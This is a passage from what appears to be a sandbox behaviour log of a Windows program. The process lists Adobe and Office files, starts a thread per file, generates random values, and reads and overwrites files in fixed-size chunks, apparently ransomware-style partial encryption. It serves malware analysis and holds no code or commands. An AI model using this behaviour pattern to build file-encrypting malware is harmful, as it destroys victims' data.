Files\\Adobe\\HelpCfg\\tr_TR" [0136.026] wcscat (in: _Dest=0x20506130, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\tr_TR\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\tr_TR\\" [0136.026] wcscat (in: _Dest=0x20506130, _Source="Reader_10.0.helpcfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\tr_TR\\Reader_10.0.helpcfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\tr_TR\\Reader_10.0.helpcfg" [0151.034] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20506130, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d24 [0151.034] FindNextFileW (in: hFindFile=0x1ced5d40, lpFindFileData=0x1cd99ba0 | out: lpFindFileData=0x1cd99ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 0 [0151.035] FindClose (in: hFindFile=0x1ced5d40 | out: hFindFile=0x1ced5d40) returned 1 [0151.035] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd99ba0) returned 1 [0151.035] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420605b0) returned 1 [0151.035] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869c40) returned 1 Thread: id = 1969 os_tid = 0x119c [0136.027] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x42060630 [0136.027] wcscpy (in: _Dest=0x42060630, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\uk_UA" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\uk_UA") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\uk_UA" [0136.027] wcscat (in: _Dest=0x42060630, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\uk_UA\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\uk_UA\\" [0136.028] wcscat (in: _Dest=0x42060630, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\uk_UA\\*") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\uk_UA\\*" [0136.028] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd99e10 [0136.028] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\uk_UA\\*", lpFindFileData=0x1cd99e10 | out: lpFindFileData=0x1cd99e10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ced5da0 [0136.028] wcscmp (_String1=".", _String2=".") returned 0 [0136.028] FindNextFileW (in: hFindFile=0x1ced5da0, lpFindFileData=0x1cd99e10 | out: lpFindFileData=0x1cd99e10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0136.028] wcscmp (_String1="..", _String2=".") returned 1 [0136.028] wcscmp (_String1="..", _String2="..") returned 0 [0136.028] FindNextFileW (in: hFindFile=0x1ced5da0, lpFindFileData=0x1cd99e10 | out: lpFindFileData=0x1cd99e10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 1 [0136.028] wcscmp (_String1="Reader_10.0.helpcfg", _String2=".") returned 1 [0136.028] wcscmp (_String1="Reader_10.0.helpcfg", _String2="..") returned 1 [0136.028] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x205061d0 [0136.028] wcscpy (in: _Dest=0x205061d0, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\uk_UA" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\uk_UA") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\uk_UA" [0136.028] wcscat (in: _Dest=0x205061d0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\uk_UA\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\uk_UA\\" [0136.029] wcscat (in: _Dest=0x205061d0, _Source="Reader_10.0.helpcfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\uk_UA\\Reader_10.0.helpcfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\uk_UA\\Reader_10.0.helpcfg" [0151.036] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x205061d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d28 [0151.037] FindNextFileW (in: hFindFile=0x1ced5da0, lpFindFileData=0x1cd99e10 | out: lpFindFileData=0x1cd99e10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 0 [0151.037] FindClose (in: hFindFile=0x1ced5da0 | out: hFindFile=0x1ced5da0) returned 1 [0151.037] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd99e10) returned 1 [0151.037] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060630) returned 1 [0151.038] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8694c0) returned 1 Thread: id = 1970 os_tid = 0x11a0 [0136.030] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x420606b0 [0136.030] wcscpy (in: _Dest=0x420606b0, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_CN" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_CN") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_CN" [0136.030] wcscat (in: _Dest=0x420606b0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_CN\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_CN\\" [0136.031] wcscat (in: _Dest=0x420606b0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_CN\\*") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_CN\\*" [0136.031] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd9a080 [0136.031] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_CN\\*", lpFindFileData=0x1cd9a080 | out: lpFindFileData=0x1cd9a080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d580500, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ced5e00 [0136.031] wcscmp (_String1=".", _String2=".") returned 0 [0136.031] FindNextFileW (in: hFindFile=0x1ced5e00, lpFindFileData=0x1cd9a080 | out: lpFindFileData=0x1cd9a080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d580500, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0136.031] wcscmp (_String1="..", _String2=".") returned 1 [0136.031] wcscmp (_String1="..", _String2="..") returned 0 [0136.031] FindNextFileW (in: hFindFile=0x1ced5e00, lpFindFileData=0x1cd9a080 | out: lpFindFileData=0x1cd9a080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 1 [0136.031] wcscmp (_String1="Reader_10.0.helpcfg", _String2=".") returned 1 [0136.031] wcscmp (_String1="Reader_10.0.helpcfg", _String2="..") returned 1 [0136.031] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x20506270 [0136.031] wcscpy (in: _Dest=0x20506270, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_CN" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_CN") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_CN" [0136.032] wcscat (in: _Dest=0x20506270, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_CN\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_CN\\" [0136.032] wcscat (in: _Dest=0x20506270, _Source="Reader_10.0.helpcfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_CN\\Reader_10.0.helpcfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_CN\\Reader_10.0.helpcfg" [0151.039] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20506270, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d2c [0151.039] FindNextFileW (in: hFindFile=0x1ced5e00, lpFindFileData=0x1cd9a080 | out: lpFindFileData=0x1cd9a080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 0 [0151.040] FindClose (in: hFindFile=0x1ced5e00 | out: hFindFile=0x1ced5e00) returned 1 [0151.040] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9a080) returned 1 [0151.040] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420606b0) returned 1 [0151.040] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504d90) returned 1 Thread: id = 1971 os_tid = 0x11a4 [0136.045] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x42060730 [0136.045] wcscpy (in: _Dest=0x42060730, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_TW" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_TW") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_TW" [0136.045] wcscat (in: _Dest=0x42060730, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_TW\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_TW\\" [0136.045] wcscat (in: _Dest=0x42060730, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_TW\\*") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_TW\\*" [0136.045] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd9a2f0 [0136.045] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_TW\\*", lpFindFileData=0x1cd9a2f0 | out: lpFindFileData=0x1cd9a2f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d580500, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ced5e60 [0136.046] wcscmp (_String1=".", _String2=".") returned 0 [0136.046] FindNextFileW (in: hFindFile=0x1ced5e60, lpFindFileData=0x1cd9a2f0 | out: lpFindFileData=0x1cd9a2f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d580500, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0136.046] wcscmp (_String1="..", _String2=".") returned 1 [0136.046] wcscmp (_String1="..", _String2="..") returned 0 [0136.046] FindNextFileW (in: hFindFile=0x1ced5e60, lpFindFileData=0x1cd9a2f0 | out: lpFindFileData=0x1cd9a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 1 [0136.046] wcscmp (_String1="Reader_10.0.helpcfg", _String2=".") returned 1 [0136.046] wcscmp (_String1="Reader_10.0.helpcfg", _String2="..") returned 1 [0136.046] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x20506310 [0136.046] wcscpy (in: _Dest=0x20506310, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_TW" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_TW") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_TW" [0136.046] wcscat (in: _Dest=0x20506310, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_TW\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_TW\\" [0136.046] wcscat (in: _Dest=0x20506310, _Source="Reader_10.0.helpcfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_TW\\Reader_10.0.helpcfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_TW\\Reader_10.0.helpcfg" [0151.041] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20506310, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d30 [0151.042] FindNextFileW (in: hFindFile=0x1ced5e60, lpFindFileData=0x1cd9a2f0 | out: lpFindFileData=0x1cd9a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 0 [0151.042] FindClose (in: hFindFile=0x1ced5e60 | out: hFindFile=0x1ced5e60) returned 1 [0151.042] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9a2f0) returned 1 [0151.042] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060730) returned 1 [0151.042] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504d10) returned 1 Thread: id = 1972 os_tid = 0x11a8 [0136.048] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\StarterNotificationDescriptors.xml" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\xml files\\starternotificationdescriptors.xml")) returned 0x20 [0136.049] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\StarterNotificationDescriptors.xml", dwFileAttributes=0x20) returned 1 [0136.049] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\StarterNotificationDescriptors.xml" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\xml files\\starternotificationdescriptors.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1d38 [0136.050] GetFileSizeEx (in: hFile=0x1d38, lpFileSize=0x30fcf6a0 | out: lpFileSize=0x30fcf6a0*=112757) returned 1 [0136.050] SetFilePointerEx (in: hFile=0x1d38, liDistanceToMove=0x1b871, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.050] ReadFile (in: hFile=0x1d38, lpBuffer=0x30fcf620, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x30fcf668, lpOverlapped=0x0 | out: lpBuffer=0x30fcf620*, lpNumberOfBytesRead=0x30fcf668*=0x4, lpOverlapped=0x0) returned 1 [0136.053] SetFilePointerEx (in: hFile=0x1d38, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.053] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267980 [0136.053] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267a70 [0136.053] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202623f0 [0136.053] NtQuerySystemTime (in: CurrentTime=0x30fcf560 | out: CurrentTime=0x30fcf560*=132462177412966000) returned 0x0 [0136.053] RtlRandomEx (in: Seed=0x30fcf550 | out: Seed=0x30fcf550) returned 0x2ec88f04 [0136.053] RtlRandomEx (in: Seed=0x30fcf550 | out: Seed=0x30fcf550) returned 0x63266a58 [0136.053] RtlRandomEx (in: Seed=0x30fcf550 | out: Seed=0x30fcf550) returned 0x2adf3530 [0136.053] RtlRandomEx (in: Seed=0x30fcf550 | out: Seed=0x30fcf550) returned 0x6e01f357 [0136.053] RtlRandomEx (in: Seed=0x30fcf550 | out: Seed=0x30fcf550) returned 0xbe8b9e7 [0136.053] RtlRandomEx (in: Seed=0x30fcf550 | out: Seed=0x30fcf550) returned 0x4443bb5 [0136.053] RtlRandomEx (in: Seed=0x30fcf550 | out: Seed=0x30fcf550) returned 0x1a23619b [0136.053] RtlRandomEx (in: Seed=0x30fcf550 | out: Seed=0x30fcf550) returned 0x14451ddc [0136.053] RtlRandomEx (in: Seed=0x30fcf550 | out: Seed=0x30fcf550) returned 0x769759b [0136.053] RtlRandomEx (in: Seed=0x30fcf550 | out: Seed=0x30fcf550) returned 0xa99d48f [0136.054] RtlRandomEx (in: Seed=0x30fcf550 | out: Seed=0x30fcf550) returned 0x3a77ff2e [0136.054] RtlRandomEx (in: Seed=0x30fcf550 | out: Seed=0x30fcf550) returned 0x1323e649 [0136.054] RtlRandomEx (in: Seed=0x30fcf550 | out: Seed=0x30fcf550) returned 0x2c6b44f1 [0136.054] RtlRandomEx (in: Seed=0x30fcf550 | out: Seed=0x30fcf550) returned 0x59891e3 [0136.054] RtlRandomEx (in: Seed=0x30fcf550 | out: Seed=0x30fcf550) returned 0x574bf071 [0136.054] RtlRandomEx (in: Seed=0x30fcf550 | out: Seed=0x30fcf550) returned 0x63460f52 [0136.054] RtlRandomEx (in: Seed=0x30fcf550 | out: Seed=0x30fcf550) returned 0x5b069867 [0136.054] RtlRandomEx (in: Seed=0x30fcf550 | out: Seed=0x30fcf550) returned 0x63a89707 [0136.054] RtlRandomEx (in: Seed=0x30fcf550 | out: Seed=0x30fcf550) returned 0x648a65d5 [0136.054] RtlRandomEx (in: Seed=0x30fcf550 | out: Seed=0x30fcf550) returned 0x22da874a [0136.054] RtlRandomEx (in: Seed=0x30fcf550 | out: Seed=0x30fcf550) returned 0x164f424 [0136.054] RtlRandomEx (in: Seed=0x30fcf550 | out: Seed=0x30fcf550) returned 0x51bfbd60 [0136.054] RtlRandomEx (in: Seed=0x30fcf550 | out: Seed=0x30fcf550) returned 0x1f4b65b1 [0136.054] RtlRandomEx (in: Seed=0x30fcf550 | out: Seed=0x30fcf550) returned 0x4722772e [0136.054] RtlRandomEx (in: Seed=0x30fcf550 | out: Seed=0x30fcf550) returned 0x19c2c7ae [0136.054] RtlRandomEx (in: Seed=0x30fcf550 | out: Seed=0x30fcf550) returned 0x4373a328 [0136.054] RtlRandomEx (in: Seed=0x30fcf550 | out: Seed=0x30fcf550) returned 0x19806253 [0136.054] RtlRandomEx (in: Seed=0x30fcf550 | out: Seed=0x30fcf550) returned 0x5f7519d2 [0136.054] RtlRandomEx (in: Seed=0x30fcf550 | out: Seed=0x30fcf550) returned 0x471d8bcd [0136.054] RtlRandomEx (in: Seed=0x30fcf550 | out: Seed=0x30fcf550) returned 0x3e42ec1d [0136.054] RtlRandomEx (in: Seed=0x30fcf550 | out: Seed=0x30fcf550) returned 0x5ca917c5 [0136.054] RtlRandomEx (in: Seed=0x30fcf550 | out: Seed=0x30fcf550) returned 0x761788d4 [0136.063] SetFilePointerEx (in: hFile=0x1d38, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.063] ReadFile (in: hFile=0x1d38, lpBuffer=0x203be990, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x30fcf5c0, lpOverlapped=0x0 | out: lpBuffer=0x203be990*, lpNumberOfBytesRead=0x30fcf5c0*=0x3c00, lpOverlapped=0x0) returned 1 [0136.166] SetFilePointerEx (in: hFile=0x1d38, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.166] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97c10 [0136.166] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420607b0 [0136.166] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050d810 [0136.167] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d810) returned 1 [0136.167] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x203861b0 [0136.167] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050d810 [0136.167] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050d7e0 [0136.167] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d7e0) returned 1 [0136.168] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420607b0) returned 1 [0136.168] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97c10) returned 1 [0136.168] WriteFile (hFile=0x1d38, lpBuffer=0x203861b0, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x30fcf5c0, lpOverlapped=0x0) [0178.615] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x203861b0) returned 1 [0178.615] SetFilePointerEx (in: hFile=0x1d38, liDistanceToMove=0xf000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.615] ReadFile (in: hFile=0x1d38, lpBuffer=0x203be990, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x30fcf5c0, lpOverlapped=0x0 | out: lpBuffer=0x203be990*, lpNumberOfBytesRead=0x30fcf5c0*=0x3c00, lpOverlapped=0x0) returned 1 [0180.515] SetFilePointerEx (in: hFile=0x1d38, liDistanceToMove=0xf000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.515] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c290 [0180.515] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85f310 [0180.515] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9470 [0180.516] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9470) returned 1 [0180.516] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4290ea60 [0180.516] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9470 [0180.517] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9440 [0180.517] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9440) returned 1 [0180.518] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f310) returned 1 [0180.518] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c290) returned 1 [0180.518] WriteFile (in: hFile=0x1d38, lpBuffer=0x4290ea60*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x30fcf5c0, lpOverlapped=0x0 | out: lpBuffer=0x4290ea60*, lpNumberOfBytesWritten=0x30fcf5c0*=0x3c00, lpOverlapped=0x0) returned 1 [0197.799] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4290ea60) returned 1 [0197.799] SetFilePointerEx (in: hFile=0x1d38, liDistanceToMove=0x17c75, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.799] ReadFile (in: hFile=0x1d38, lpBuffer=0x203be990, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x30fcf5c0, lpOverlapped=0x0 | out: lpBuffer=0x203be990*, lpNumberOfBytesRead=0x30fcf5c0*=0x3c00, lpOverlapped=0x0) returned 1 [0198.432] 